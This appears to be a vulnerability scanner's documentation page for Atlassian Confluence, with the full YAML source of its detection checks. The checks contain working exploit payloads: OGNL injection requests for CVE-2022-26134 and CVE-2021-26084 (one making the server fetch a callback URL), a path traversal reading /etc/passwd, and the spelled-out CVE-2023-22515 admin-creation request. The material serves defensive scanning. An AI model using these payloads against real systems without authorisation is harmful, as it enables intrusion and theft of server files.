Atlassian Confluence — 7 vulnerability checks
noctis ships 7 vulnerability checks for Atlassian Confluence, covering 8 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Atlassian Confluence Data Center and Server broken access control
| CVE | CVE-2023-22515 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | auth-bypass — Auth bypass |
| Services | http, https |
| Detection | set_var, http_request, script, match · highest QoD 70 |
| Feed | tests/vulnerabilities/confluence/CVE-2023-22515.yaml |
Reads the Confluence login page (/login.action, then /login.action?nosso for single sign-on setups, then the landing page as fallback) and takes the version from the ajs-version-number meta tag or the page footer, after checking that the page is Confluence and not another Atlassian product. The finding fires when the version is in an affected range: 8.0.0 to 8.3.2, 8.4.0 to 8.4.2 or 8.5.0 to 8.5.1. On those releases an unauthenticated request can mark the instance as not set up and then create a system administrator account. The feed does not send that request, because it changes the target's state and leaves it open to anyone; the result rests on the version only.
How noctis detects it
- HTTP(S) request
GET /login.action - HTTP(S) request
GET /login.action?nosso - HTTP(S) request
GET / - Parses / computes the next value with a Rhai script
- Checks
v.verfor^8\.→ finding QoD 70: Atlassian Confluence broken access control, admin account creation (CVE-2023-22515)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2023-22515
- https://confluence.atlassian.com/security/data-center-and-server-1295682276.html
- https://jira.atlassian.com/browse/CONFSERVER-92475
Feed source — tests/vulnerabilities/confluence/CVE-2023-22515.yaml
# Atlassian Confluence Data Center / Server broken access control (CVE-2023-22515).
#
# The bug: XWork binds request parameters onto nested getters of unauthenticated
# actions, so GET /server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=0
# flips the RUNNING instance back to "setup not complete" and /setup/setupadministrator*.action
# then lets anyone create a system administrator. That request is the exploit itself:
# nothing restores the flag, so a scan that sends it leaves the target open to admin
# creation until restart (issue #2393). There is no harmless behavioural differential:
# every bindable property on that chain is a state change, and patched releases ignore the
# parameter silently. This feed therefore never touches /server-info.action or /setup/ and
# reports from the version only (QoD 70).
#
# Version sources on the login page (then /login.action?nosso, which skips a Data Center
# SSO redirect, then the landing page), in that order:
# <meta name="ajs-version-number" content="8.5.1">
# <span id='footer-build-information'>8.5.1</span>
# Powered by <a href="...">Atlassian Confluence</a> 8.5.1 (older footer form)
# ajs-version-number is shared with Jira / Bitbucket, so the page must also carry a
# Confluence marker (body id com-atlassian-confluence, the confluence-base-url meta, or the
# "Atlassian Confluence" footer link) — a Jira 8.5.1 page stays clean.
#
# Affected (Atlassian advisory / NVD): 8.0.0 to 8.3.2, 8.4.0 to 8.4.2, 8.5.0 to 8.5.1.
# Fixed: 8.3.3, 8.4.3, 8.5.2. Versions before 8.0.0 and Atlassian Cloud are not affected
# (Cloud reports 1000.x versions, which the range never matches).
uid: 4cceac14-3c62-413d-9244-787e081e841e
name: "Atlassian Confluence Data Center and Server broken access control (CVE-2023-22515)"
description: >-
Reads the Confluence login page (/login.action, then /login.action?nosso for single sign-on setups, then the landing page as fallback) and
takes the version from the ajs-version-number meta tag or the page footer, after checking
that the page is Confluence and not another Atlassian product. The finding fires when the
version is in an affected range: 8.0.0 to 8.3.2, 8.4.0 to 8.4.2 or 8.5.0 to 8.5.1. On those
releases an unauthenticated request can mark the instance as not set up and then create a
system administrator account. The feed does not send that request, because it changes the
target's state and leaves it open to anyone; the result rests on the version only.
cves: [CVE-2023-22515]
cvss: 9.8
severity: critical
category: auth-bypass
confidence_base: 0.30
tags: [privilege-escalation, broken-access-control, confluence, atlassian, kev, version-check]
services: [http, https]
author: noctis
version: "2.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2023-22515"
- "https://confluence.atlassian.com/security/data-center-and-server-1295682276.html"
- "https://jira.atlassian.com/browse/CONFSERVER-92475"
steps:
- id: init-login
action: set_var
var_name: login
var_value: {status: 0, body: ""}
- id: init-nosso
action: set_var
var_name: nosso
var_value: {status: 0, body: ""}
- id: init-home
action: set_var
var_name: home
var_value: {status: 0, body: ""}
- id: login-page
action: http_request
method: GET
path: "/login.action"
port: "{{port}}"
tls_insecure: true
timeout_secs: 10
store_as: login
# Data Center SSO 2.0 redirects /login.action to the identity provider; ?nosso
# serves the local login page instead.
- id: login-page-nosso
action: http_request
method: GET
path: "/login.action?nosso"
port: "{{port}}"
tls_insecure: true
timeout_secs: 10
store_as: nosso
- id: landing-page
action: http_request
method: GET
path: "/"
port: "{{port}}"
tls_insecure: true
timeout_secs: 10
store_as: home
- id: version
action: script
code: |
fn conf_version(r) {
if type_of(r) != "map" || type_of(r.body) != "string" || r.status != 200 { return ""; }
let b = r.body;
let is_conf = ereg("id=[\"']com-atlassian-confluence[\"']", b)
|| ereg("name=[\"']confluence-base-url[\"']", b)
|| ereg(">Atlassian Confluence</a>", b);
if !is_conf { return ""; }
let m = eregmatch("name=[\"']ajs-version-number[\"'] content=[\"']([0-9]+\\.[0-9]+\\.[0-9]+)[\"']", b);
if type_of(m) == "array" && m.len() > 1 { return m[1]; }
m = eregmatch("id=[\"']footer-build-information[\"']>([0-9]+\\.[0-9]+\\.[0-9]+)<", b);
if type_of(m) == "array" && m.len() > 1 { return m[1]; }
m = eregmatch(">Atlassian Confluence</a>[ \t\r\n]*(<[^>]+>)?[ \t\r\n]*v?([0-9]+\\.[0-9]+\\.[0-9]+)([^0-9.]|$)", b);
if type_of(m) == "array" && m.len() > 2 { return m[2]; }
""
}
let ver = conf_version(login);
let src = "/login.action";
if ver == "" { ver = conf_version(nosso); src = "/login.action?nosso"; }
if ver == "" { ver = conf_version(home); src = "/"; }
let hit = ver != "" && ereg("^8\\.([0-2]\\.[0-9]+|[34]\\.[0-2]|5\\.[01])$", ver);
#{ ver: ver, src: src, hit: hit }
store_as: v
- id: affected-version
action: match
source: v.ver
pattern: "^8\\."
condition: "v.hit"
on_match:
finding:
title: "Atlassian Confluence broken access control, admin account creation (CVE-2023-22515)"
description: "The server runs an Atlassian Confluence Data Center or Server release affected by CVE-2023-22515: an unauthenticated attacker can mark the running instance as not set up and then create a system administrator account through the setup pages. This finding rests on the reported version; the exploit request was not sent."
confidence_delta: 0.45
qod: 70
evidence: "Confluence page {{v.src}} reports version {{v.ver}} (affected: 8.0.0 to 8.3.2, 8.4.0 to 8.4.2, 8.5.0 to 8.5.1)."
remediation: "Upgrade Confluence to 8.3.3, 8.4.3, 8.5.2 or later. Until then, block external access to the /setup/* endpoints, and check for unexpected members of the confluence-administrators group."
stop: trueAtlassian Confluence Improper Authorization via setup-restore
| CVE | CVE-2023-22518 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | auth-bypass — Auth bypass |
| Services | http, https |
| Detection | http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/confluence/CVE-2023-22518.yaml |
Posts an empty multipart restore to /json/setup-restore.action without credentials and reports when Confluence processes it (exportDescriptor.properties error), showing the restore endpoint is open to anyone.
How noctis detects it
- HTTP(S) request
POST /json/setup-restore.actionwith a crafted body - Checks
restore_resp.bodyforexportDescriptor\.properties→ finding QoD 75: Atlassian Confluence Unauthenticated Setup-Restore Endpoint (CVE-2023-22518)
Feed source — tests/vulnerabilities/confluence/CVE-2023-22518.yaml
uid: cf25c65f-6e02-492f-ac3a-d9e20f052989
name: "Atlassian Confluence Improper Authorization via setup-restore (CVE-2023-22518)"
description: "Posts an empty multipart restore to /json/setup-restore.action without credentials and reports when Confluence processes it (exportDescriptor.properties error), showing the restore endpoint is open to anyone."
cves: [CVE-2023-22518]
cvss: 9.8
severity: critical
category: auth-bypass
confidence_base: 0.20
tags:
- atlassian
- confluence
- auth-bypass
- kev
- ransomware
services:
- http
- https
author: noctis
version: "1.0.0"
steps:
- id: restore_probe
action: http_request
method: POST
path: "/json/setup-restore.action"
port: "{{port}}"
tls_insecure: true
headers:
Content-Type: "multipart/form-data; boundary=noctisbnd"
X-Atlassian-Token: "no-check"
body: "------noctisbnd\r\nContent-Disposition: form-data; name=\"buildIndex\"\r\n\r\nfalse\r\n------noctisbnd--\r\n"
store_as: restore_resp
- id: check_bypass
action: match
source: restore_resp.body
pattern: "exportDescriptor\\.properties"
condition: "restore_resp.status == 200"
on_match:
finding:
confidence_delta: 0.60
qod: 75
title: "Atlassian Confluence Unauthenticated Setup-Restore Endpoint (CVE-2023-22518)"
description: >
Atlassian Confluence Data Center and Server exposes the /json/setup-restore.action
endpoint without authentication. An attacker can upload a backup file to reset
the Confluence database and create administrative access, enabling full instance
takeover. Exploited by CLOP and Cerber ransomware operators.
evidence: "setup-restore endpoint accepted unauthenticated upload: exportDescriptor.properties error returned"Atlassian Confluence OGNL Injection RCE
| CVE | CVE-2022-26134 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, match, wait_oob · highest QoD 97 |
| Feed | tests/vulnerabilities/confluence/CVE-2022-26134.yaml |
Tests Atlassian Confluence Server and Data Center for unauthenticated OGNL injection in the request URI. The feed requests a path of the form /${expression}/ whose expression asks the server to multiply two random numbers chosen for this scan and return the result in a response header; the finding is reported only when that header carries the exact product, which proves the server evaluated attacker-supplied OGNL (code execution). When an out-of-band callback server is configured, the same expression also makes the server fetch a unique callback URL. The web root and the /confluence context path are both tried. No command is executed and nothing is written on the target.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{ctx}}/%24%7BClass.forName%28%22com.opensymphony.webwork.ServletActionContext%22%29.… - Parses / computes the next value with a Rhai script
- Checks
prooffor^NOCTIS_OGNL_EVALUATED$→ finding QoD 97: GET …/${...}/ evaluated injected OGNL: X-Noctis-Proof = …*… = … (status …) - HTTP(S) request
GET {{ctx}}/%24%7B%28new%20java.net.URL%28%22http%22%2C%22{{oob_host}}%22%2C{{oob_port}}%… - Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: Confluence evaluated OGNL injected in the request URI and fetched the OOB URL: … request, headers …
References:
- https://nvd.nist.gov/vuln/detail/CVE-2022-26134
- https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
- https://jira.atlassian.com/browse/CONFSERVER-79016
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog
Feed source — tests/vulnerabilities/confluence/CVE-2022-26134.yaml
# Atlassian Confluence OGNL Injection RCE — CVE-2022-26134
#
# Confluence Server and Data Center (WebWork/XWork 1.x) evaluate an OGNL
# expression written as ${...} in the namespace part of the request URI,
# before any authentication: GET /${<expr>}/ evaluates <expr> and answers a
# 302 to the login page. Fixed in 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4,
# 7.17.4 and 7.18.1.
#
# DETECTION (#2399 — the previous version reported QoD 75 on ANY 302 reply to
# the OGNL path and QoD 70 on any 200 page saying "Confluence"; a real,
# unexploitable FIRST_RUN 7.13.6 and a fixed 7.13.7 both answer every path with
# the same 302, as does any SSO-fronted or redirect-everything server):
# in-band, QoD 97 — the OGNL expression sets a response header to the product
# of two random per-run operands, computed server-side
# (ServletActionContext.getResponse().setHeader reached reflectively through
# Class.forName(...).getMethod(...).invoke — the public exploit's header
# channel and its 7.18.0 form, with a computed value instead of command
# output). Only an instance that evaluates our OGNL returns that header with
# that exact value. No command is run; nothing is written. Operands stay
# <= 46337 so the Java int product never wraps. Verified with the real
# XWork/OGNL jars of Confluence 7.13.6 and 7.18.0
# (TextParseUtil.translateVariables); 7.18.0's isSafeExpression filter
# rejects the @class@method static-call form, not this one.
# OOB, QoD 97 — when OOB is enabled, the same sink opens a java.net.URL to the
# OOB server (a plain HTTP GET, still no command execution). 7.18.0's filter
# rejects every java.net.URL form tried, so on 7.18.0 only the in-band proof
# applies. The URL is built
# with the 4-argument constructor so the path holds no "//" (Tomcat collapses
# it) and no encoded slash (Tomcat rejects %2F).
# Both are tried at the web root and under /confluence (a common context path).
uid: d5e9a2b1-3c7f-4d8e-a1b6-8f0c2d4e6b3a
name: "Atlassian Confluence OGNL Injection RCE (CVE-2022-26134)"
description: |
Tests Atlassian Confluence Server and Data Center for unauthenticated OGNL
injection in the request URI. The feed requests a path of the form
/${expression}/ whose expression asks the server to multiply two random
numbers chosen for this scan and return the result in a response header;
the finding is reported only when that header carries the exact product,
which proves the server evaluated attacker-supplied OGNL (code execution).
When an out-of-band callback server is configured, the same expression also
makes the server fetch a unique callback URL. The web root and the
/confluence context path are both tried. No command is executed and nothing
is written on the target.
cves: [CVE-2022-26134]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.20
tags: [confluence, ognl, rce, java, atlassian, kev]
services: [http, https]
author: noctis
version: "2.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2022-26134"
- "https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html"
- "https://jira.atlassian.com/browse/CONFSERVER-79016"
- "https://www.cisa.gov/known-exploited-vulnerabilities-catalog"
steps:
# Random operands for this run (Java int: a*b must stay below 2^31).
- id: calc
action: script
code: |
let a = rand_int(10007, 46337);
let b = rand_int(10007, 46337);
#{ a: a.to_string(), b: b.to_string(), product: (a * b).to_string() }
store_as: calc
- id: init-proof
action: set_var
var_name: proof
var_value: "none"
# ── In-band: OGNL sets X-Noctis-Proof to a*b ─────────────────────────────
# Each pass resets the stored reply first, so a failed request never leaves a
# previous pass's result (or an undefined variable) behind.
- id: init-ognl-resp
action: set_var
var_name: ognl_resp
var_value: {status: 0, headers: {}}
loop:
over: ["", "/confluence"]
var: ctx
# /${Class.forName("com.opensymphony.webwork.ServletActionContext").getMethod("getResponse",null)
# .invoke(null,null).setHeader("X-Noctis-Proof",""+(a*b))}/
# The reflective call passes the isSafeExpression filter added in 7.18.0
# (which rejects @class@method static calls), and also works on older releases.
- id: ognl-probe
action: http_request
method: GET
path: "{{ctx}}/%24%7BClass.forName%28%22com.opensymphony.webwork.ServletActionContext%22%29.getMethod%28%22getResponse%22%2Cnull%29.invoke%28null%2Cnull%29.setHeader%28%22X-Noctis-Proof%22%2C%22%22%2B%28{{calc.a}}%2A{{calc.b}}%29%29%7D/"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: ognl_resp
# Verdict driven by our own product: the header must carry exactly a*b.
- id: evaluate
action: script
code: |
let h = ognl_resp.headers;
if ognl_resp.status != 0 && "x-noctis-proof" in h && h["x-noctis-proof"] == calc.product { "NOCTIS_OGNL_EVALUATED" } else { "none" }
store_as: proof
- id: ognl-confirmed
action: match
source: proof
pattern: "^NOCTIS_OGNL_EVALUATED$"
on_match:
finding:
confidence_delta: 0.75
qod: 97
evidence: "GET {{ctx}}/${...}/ evaluated injected OGNL: X-Noctis-Proof = {{calc.a}}*{{calc.b}} = {{calc.product}} (status {{ognl_resp.status}})"
stop: true
# ── OOB: the same sink fetches the OOB URL (no command execution) ────────
# Sent to both context paths; the single wait_oob below runs after the loop.
- id: init-oob-ctx
action: set_var
var_name: oob_ctx
var_value: "x"
condition: "oob_enabled"
loop:
over: ["", "/confluence"]
var: ctx
# /${(new java.net.URL("http","<oob_host>",<oob_port>,"/<oob_token>")).openStream().close()}/
- id: ognl-oob-probe
action: http_request
method: GET
path: "{{ctx}}/%24%7B%28new%20java.net.URL%28%22http%22%2C%22{{oob_host}}%22%2C{{oob_port}}%2C%22/{{oob_token}}%22%29%29.openStream%28%29.close%28%29%7D/"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: oob_probe_resp
condition: "oob_enabled"
- id: wait-oob-callback
action: wait_oob
oob_timeout_secs: 20
store_as: oob_result
condition: "oob_enabled"
on_success:
finding:
confidence_delta: 0.75
qod: 97
evidence: "Confluence evaluated OGNL injected in the request URI and fetched the OOB URL: {{oob_result.method}} request, headers {{oob_result.headers}}"
stop: trueAtlassian Confluence Server/DC OGNL injection pre-auth RCE
| CVE | CVE-2021-26084 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/confluence/CVE-2021-26084.yaml |
Tests Atlassian Confluence Server and Data Center for the OGNL injection in the `queryString` parameter of /pages/doenterpagevariables.action (reachable without authentication) and /pages/createpage-entervariables.action, at the web root and under the /confluence and /wiki context paths. The injected OGNL expression multiplies two random numbers chosen for this scan; the finding is reported only when the page returns the exact product rendered by the OGNL evaluator in the queryString field, which proves the server evaluated attacker-supplied OGNL (code execution). No command is executed and nothing is written on the target.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
POST {{sink}}with a crafted body - Parses / computes the next value with a Rhai script
- Checks
prooffor^NOCTIS_OGNL_EVALUATED$→ finding QoD 97: POST … evaluated injected OGNL without authentication: the queryString OGNL map literal of …*… was rendered as … (status …)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2021-26084
- https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html
- https://jira.atlassian.com/browse/CONFSERVER-67940
- https://github.com/httpvoid/CVE-Reverse/tree/master/CVE-2021-26084
Feed source — tests/vulnerabilities/confluence/CVE-2021-26084.yaml
# Atlassian Confluence Server/Data Center OGNL injection — CVE-2021-26084
#
# The `queryString` parameter of several page-creation actions is rendered into
# a hidden <input> through an OGNL-evaluated Velocity expression. A value that
# closes the string with ' (decoded by the OGNL parser itself) gets the
# rest evaluated as OGNL. /pages/doenterpagevariables.action reaches it without
# authentication; /pages/createpage-entervariables.action does when sign-up is
# open. Fixed in 6.13.23, 7.4.11, 7.11.6, 7.12.5 and 7.13.0.
#
# DETECTION (#2361 — the previous version sent the literal 'NOCTIS_CONF_OGNL_
# CONFIRMED' and matched it in the reply, so any page that echoes the request
# fired at QoD 97):
# in-band, QoD 97 — the injected OGNL is a map literal #{a*b} built from two
# random per-run operands. A vulnerable server evaluates it and renders the
# map as `{<product>=null}` inside the hidden input, right after our prefix
# (`value="noctis{<product>=null}x"`, the shape the public nuclei template
# matches). The product is never sent, so an echo/debug page that quotes the
# request cannot match. Nothing is executed or written on the target.
# Operands stay <= 46337 so the Java int product never wraps.
# Paths: both actions, at the web root and under /confluence and /wiki.
uid: d4f19c3a-7e82-4f56-b018-9a3c5d8e1f2b
name: "Atlassian Confluence Server/DC OGNL injection pre-auth RCE (CVE-2021-26084)"
description: |
Tests Atlassian Confluence Server and Data Center for the OGNL injection in
the `queryString` parameter of /pages/doenterpagevariables.action (reachable
without authentication) and /pages/createpage-entervariables.action, at the
web root and under the /confluence and /wiki context paths. The injected OGNL
expression multiplies two random numbers chosen for this scan; the finding is
reported only when the page returns the exact product rendered by the OGNL
evaluator in the queryString field, which proves the server evaluated
attacker-supplied OGNL (code execution). No command is executed and nothing
is written on the target.
cves: [CVE-2021-26084]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.20
tags: [ognl, rce, pre-auth, kev, confluence, atlassian]
services: [http, https]
author: noctis
version: "2.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2021-26084"
- "https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html"
- "https://jira.atlassian.com/browse/CONFSERVER-67940"
- "https://github.com/httpvoid/CVE-Reverse/tree/master/CVE-2021-26084"
steps:
# Random operands for this run (Java int: a*b must stay below 2^31).
- id: calc
action: script
code: |
let a = rand_int(10007, 46337);
let b = rand_int(10007, 46337);
#{ a: a.to_string(), b: b.to_string(), marker: "noctis{" + (a * b).to_string() + "=null}" }
store_as: calc
# Each pass resets the stored reply first, so a failed request never leaves a
# previous pass's result (or an undefined variable) behind.
- id: init-ognl-resp
action: set_var
var_name: ognl_resp
var_value: {status: 0, body: ""}
loop:
over:
- "/pages/doenterpagevariables.action"
- "/confluence/pages/doenterpagevariables.action"
- "/wiki/pages/doenterpagevariables.action"
- "/pages/createpage-entervariables.action?SpaceKey=x"
- "/confluence/pages/createpage-entervariables.action?SpaceKey=x"
- "/wiki/pages/createpage-entervariables.action?SpaceKey=x"
var: sink
# queryString = noctis'+#{a*b}+'x — `%5C` is the backslash of the
# ' escape the OGNL parser decodes, `%2B` a literal "+" and `%23` "#".
- id: ognl-inject
action: http_request
method: POST
path: "{{sink}}"
port: "{{port}}"
tls_insecure: true
timeout_secs: 10
follow_redirects: false
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "queryString=noctis%5Cu0027%2B%23%7B{{calc.a}}*{{calc.b}}%7D%2B%5Cu0027x"
store_as: ognl_resp
# Verdict driven by our own product: the page must carry noctis{a*b=null}.
- id: evaluate
action: script
code: |
if ognl_resp.status == 200 && type_of(ognl_resp.body) == "string" && ognl_resp.body.contains(calc.marker) { "NOCTIS_OGNL_EVALUATED" } else { "none" }
store_as: proof
- id: ognl-confirmed
action: match
source: proof
pattern: "^NOCTIS_OGNL_EVALUATED$"
on_match:
finding:
confidence_delta: 0.77
qod: 97
evidence: "POST {{sink}} evaluated injected OGNL without authentication: the queryString OGNL map literal of {{calc.a}}*{{calc.b}} was rendered as {{calc.marker}} (status {{ognl_resp.status}})"
stop: trueAtlassian Confluence Widget Connector Path Traversal File Read
| CVE | CVE-2019-3396 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, tcp_connect, match, script · highest QoD 75 |
| Feed | tests/vulnerabilities/confluence/CVE-2019-3396.yaml |
Tests Atlassian Confluence Server/Data Center for unauthenticated arbitrary file read via the Widget Connector macro `_template` parameter path traversal on /rest/tinymce/1/macro/preview. It reads /etc/passwd and, when the root entry comes back, sends the same request for an absent file in a random missing directory: the finding is reported only when that control gets an HTTP reply without passwd content, so a server that answers every request with the same file is not reported.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
POST /rest/tinymce/1/macro/preview HTTP/1.0 - Checks
passwd_resp.bannerforroot:.*:0:0: - Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
POST /rest/tinymce/1/macro/preview HTTP/1.0 - Parses / computes the next value with a Rhai script
- Checks
lfi_filefor^/etc/passwd$→ finding QoD 75: Widget Connector path traversal file read confirmed — _template=../(x10)etc/passwd reflected the /etc/passwd root entry; the same request f…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2019-3396
- https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html
Feed source — tests/vulnerabilities/confluence/CVE-2019-3396.yaml
# Atlassian Confluence Widget Connector Path Traversal / File Read — CVE-2019-3396
#
# The Widget Connector macro in Confluence Server/Data Center before 6.6.12
# (6.7.x < 6.12.3, 6.13.x < 6.13.3, 6.14.x < 6.14.2) is vulnerable to a
# server-side template injection / path traversal through the `_template`
# parameter of /rest/tinymce/1/macro/preview. By pointing `_template` at a
# traversal path, an unauthenticated attacker reads arbitrary files off the
# server (and can reach SSRF / RCE via Velocity).
#
# Detection (QoD 75 — response analysis): POST the Widget Connector preview
# request with `_template` traversing to /etc/passwd and confirm the response
# reflects genuine file contents (the `root:...:0:0` line). A patched instance
# blocks the traversal and returns a Velocity/400 error without the file body.
#
# tcp_connect is required: reqwest normalises `../` sequences before sending,
# which would destroy the traversal payload. Raw TCP sends the request verbatim.
#
# Absent-file control (#2383): after a hit, the same request names
# ../noctis-absent-<random>/etc/passwd; the finding is raised only when that
# control gets an HTTP reply without passwd content (fail closed).
uid: 9d995efc-f2b1-4b26-ae23-5f2aafc987e2
name: "Atlassian Confluence Widget Connector Path Traversal File Read (CVE-2019-3396)"
description: |
Tests Atlassian Confluence Server/Data Center for unauthenticated arbitrary
file read via the Widget Connector macro `_template` parameter path traversal
on /rest/tinymce/1/macro/preview. It reads /etc/passwd and, when the root
entry comes back, sends the same request for an absent file in a random
missing directory: the finding is reported only when that control gets an
HTTP reply without passwd content, so a server that answers every request
with the same file is not reported.
cves: [CVE-2019-3396]
cvss: 9.8
severity: critical
category: file-read
confidence_base: 0.20
tags: [confluence, atlassian, path-traversal, file-read, lfi, widget-connector, ssti]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2019-3396"
- "https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html"
steps:
# Pre-initialised so a failed connect leaves an empty banner, not an
# undefined variable.
- id: init-passwd-resp
action: set_var
var_name: passwd_resp
var_value: {connected: false, banner: ""}
- id: init-ctrl-resp
action: set_var
var_name: ctrl_resp
var_value: {connected: false, banner: ""}
- id: init-lfi-file
action: set_var
var_name: lfi_file
var_value: ""
- id: init-ctrl-clean
action: set_var
var_name: ctrl_clean
var_value: false
# ── File read via Widget Connector _template path traversal ──────────────
# Raw TCP preserves the `../` sequences reqwest would normalise away.
- id: widget-traversal-passwd
action: tcp_connect
port: "{{port}}"
send: "POST /rest/tinymce/1/macro/preview HTTP/1.0\r\nHost: {{target_host}}\r\nContent-Type: application/json\r\nContent-Length: 181\r\nConnection: close\r\n\r\n{\"contentId\":\"1\",\"macro\":{\"name\":\"widget\",\"body\":\"\",\"params\":{\"url\":\"https://www.google.com\",\"width\":\"1000\",\"height\":\"1000\",\"_template\":\"../../../../../../../../../../etc/passwd\"}}}"
timeout_secs: 10
store_as: passwd_resp
# No finding here: the reply is the passwd file and must not become
# evidence. The finding is raised below from a fixed summary.
- id: passwd-match
action: match
source: passwd_resp.banner
# Genuine /etc/passwd content reflected by a vulnerable instance.
pattern: "root:.*:0:0:"
on_match:
set_vars:
lfi_file: "/etc/passwd"
# ── Control: same request, absent file ──────────────────────────────────
# A random missing directory, still ending in etc/passwd, so a honeypot that
# keys a fake file on that name answers it too. Built here so the
# Content-Length always matches the body.
- id: control-body
action: script
condition: 'lfi_file != ""'
code: |
let body = "{\"contentId\":\"1\",\"macro\":{\"name\":\"widget\",\"body\":\"\",\"params\":{\"url\":\"https://www.google.com\",\"width\":\"1000\",\"height\":\"1000\",\"_template\":\"../../../../../../../../../../noctis-absent-" + oob_token + "/etc/passwd\"}}}";
#{ body: body, len: "" + strlen(body) }
store_as: ctrl_req
- id: widget-traversal-control
action: tcp_connect
port: "{{port}}"
condition: 'lfi_file != ""'
send: "POST /rest/tinymce/1/macro/preview HTTP/1.0\r\nHost: {{target_host}}\r\nContent-Type: application/json\r\nContent-Length: {{ctrl_req.len}}\r\nConnection: close\r\n\r\n{{ctrl_req.body}}"
timeout_secs: 10
store_as: ctrl_resp
# Fail closed: the control must have answered over HTTP, without passwd content.
- id: control-verdict
action: script
condition: 'lfi_file != ""'
code: |
let b = ctrl_resp.banner;
type_of(b) == "string" && ereg("^HTTP/1\\.[01] [0-9]{3}", b) && !ereg("root:[^:\\r\\n]*:0:0:", b)
store_as: ctrl_clean
- id: passwd-report
action: match
source: lfi_file
pattern: "^/etc/passwd$"
condition: "ctrl_clean == true"
on_match:
finding:
confidence_delta: 0.55
qod: 75
evidence: "Widget Connector path traversal file read confirmed — _template=../(x10)etc/passwd reflected the /etc/passwd root entry; the same request for an absent file did not"
stop: trueAtlassian Confluence text-inline.vm OGNL injection RCE
| CVE | CVE-2023-22527 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, match, wait_oob · highest QoD 97 |
| Feed | tests/vulnerabilities/confluence/CVE-2023-22527.yaml |
Tests Atlassian Confluence Data Center & Server for unauthenticated OGNL template injection through the `label` parameter of POST /template/aui/text-inline.vm. The injected expression asks the server to multiply two random numbers chosen for this scan and return the result in a response header; the finding is reported only when that header carries the exact product, which proves the server evaluated attacker-supplied OGNL (code execution). When an out-of-band callback server is configured, the same expression also makes the server fetch a unique callback URL. No command is executed and nothing is written on the target.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
POST {{ctx}}/template/aui/text-inline.vmwith a crafted body - Parses / computes the next value with a Rhai script
- Checks
prooffor^NOCTIS_OGNL_EVALUATED$→ finding QoD 97: POST …/template/aui/text-inline.vm evaluated injected OGNL: X-Noctis-Proof = …*… = … (status …) - HTTP(S) request
POST {{ctx}}/template/aui/text-inline.vmwith a crafted body - Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: Confluence evaluated injected OGNL on /template/aui/text-inline.vm and fetched the OOB URL: … request, headers …
References:
- https://nvd.nist.gov/vuln/detail/CVE-2023-22527
- https://confluence.atlassian.com/security/cve-2023-22527-rce-remote-code-execution-vulnerability-in-confluence-data-center-and-confluence-server-1333990257.html
- https://jira.atlassian.com/browse/CONFSERVER-93833
- https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog
Feed source — tests/vulnerabilities/confluence/CVE-2023-22527.yaml
# Atlassian Confluence OGNL template injection RCE — CVE-2023-22527
#
# Confluence Data Center & Server 8.0.x–8.5.3 serves the Velocity template
# /template/aui/text-inline.vm directly. Its `label` parameter is placed inside an
# OGNL string evaluated through the Struts value stack, so a `label` that closes
# the string can reach the unsandboxed OGNL evaluator kept in the request
# attribute `.KEY_velocity.struts2.context` and evaluate a second parameter as an
# arbitrary OGNL expression — unauthenticated RCE. Fixed in 8.5.4 / 8.7.1.
#
# DETECTION (#2345 — the previous version posted a Velocity #set chain to
# /_domobjects/1, not the vulnerable sink, and matched a constant only its mock
# printed):
# in-band, QoD 97 — the OGNL expression sets a response header to the product
# of two random per-run operands, computed server-side. Only an instance that
# evaluates our OGNL returns that header with that exact value. No command is
# run; nothing is written. Operands stay <= 46337 so the Java int product
# never wraps (see the Spring Cloud Gateway note, #2462).
# OOB, QoD 97 — when OOB is enabled, the same sink opens a java.net.URL to the
# OOB server (a plain HTTP GET, still no command execution).
# The sink and the `label` breakout follow the public ProjectDiscovery write-up
# and nuclei template; the reply body of text-inline.vm (`empty{name=`) is also
# kept in the evidence as a Confluence fingerprint.
uid: 870187a7-0370-494f-a9f4-2d5356156a51
